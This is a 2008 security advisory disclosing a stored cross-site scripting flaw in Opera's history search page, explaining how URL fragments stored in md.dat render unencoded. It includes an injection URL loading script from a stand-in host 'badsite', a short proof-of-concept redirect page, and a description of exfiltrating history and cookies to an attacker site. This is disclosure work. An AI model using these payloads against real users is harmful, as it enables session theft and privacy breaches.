Opera browser is vulnerable to stored Cross Site
Scripting. A malicious attacker is able to inject
arbitrary browser content through the
websites visited with the Opera browser. The code
injection is rendered into the Opera History Search
page which displays URL and a short
description of the visited pages.

== Bug Analysis ==

Opera.exe imports Opera.dll which handles most of the
browser functionality.
Whenever a user visits a page, the URL, and a part of
the content of the visited page is saved and
compressed in a file named md.dat . The
file md.dat can be found at the following path in a
standard Windows Opera installation:

The vulnerability exists in the way the URL and the
content of visited page is stored and rendered from
the md.dat file.

== Opera History Search Page Generation ==

User visits a new site. When the user closes the Opera
browser, the file md.dat is updated. The Opera browser
appends a block of 2000 bytes
for each site visited.

The site URL and title are extracted and put in clear
text at begin of the 2000 bytes block.

The preview content which appears on
opera:historysearch page for the site is compressed
into the file md.dat. However, the HTML encoding is
not consistent across the URL scheme of the site and
the injection is possible in the optional fragment of
the URL (after the # character).

The following sequence summarises an attack scenario:

1.User visits http://aaa.com/index.htm#<script
src=http://badsite/bad.js></script>
2.URL and preview content is stored in the history
search page. However, the optional fragment after the
character # is not encoded properly.
3.If the user visits the history search page, the
cross site scripting is rendered in the user browser
context.

== Opera History Search Page Rendering ==

When accessing the History Search page, Opera reads
the file md.dat again. The content from md.dat is
decompressed and saved into a buffer.
The buffer is then used to generate a cache file that
contains the HTML code of the history search page.
The cache file can be found such as:

The link includes the cross site scripting injection
and brings the victim to page 2.html. The web server
returns 200 OK. The 2.html source code:

2.HTML

<html>
This is a proof of concept.
<script>
setTimeout("document.location='opera:historysearch?q=*
'",5000);
</script>
</html>

The user is then redirected to the opera:historysearch
page where the injection has been stored in the
history after the user followed the
link from 1.html. The injection inserted a malicious
JavaScript a.js which is executed when the user
reaches the opera history search page.

The malicious JavaScript includes a cross site forged
request that dumps the URL of the visited pages to a
third site yyy controlled by the
attacker. Then the content of the cookie is also
dumped and finally the user is redirected to another
page 3.html.

== Opera History Cross Site Scripting and Cross Site
Request Forgery ==

This is the HTML source code of the
opera:historysearch?q=* page following the injection
:

Opera 9.60 has partially fixed the issues above but
the HTML encoding is still not consistent.

== Credit ==

Discovered and advised to Opera
October 2008 by Roberto Suggi Liverani of
Security-Assessment.com
Personal Page: http://malerisch.net

== Greetings ==

To all my SA colleagues - you guys rock! ;-)

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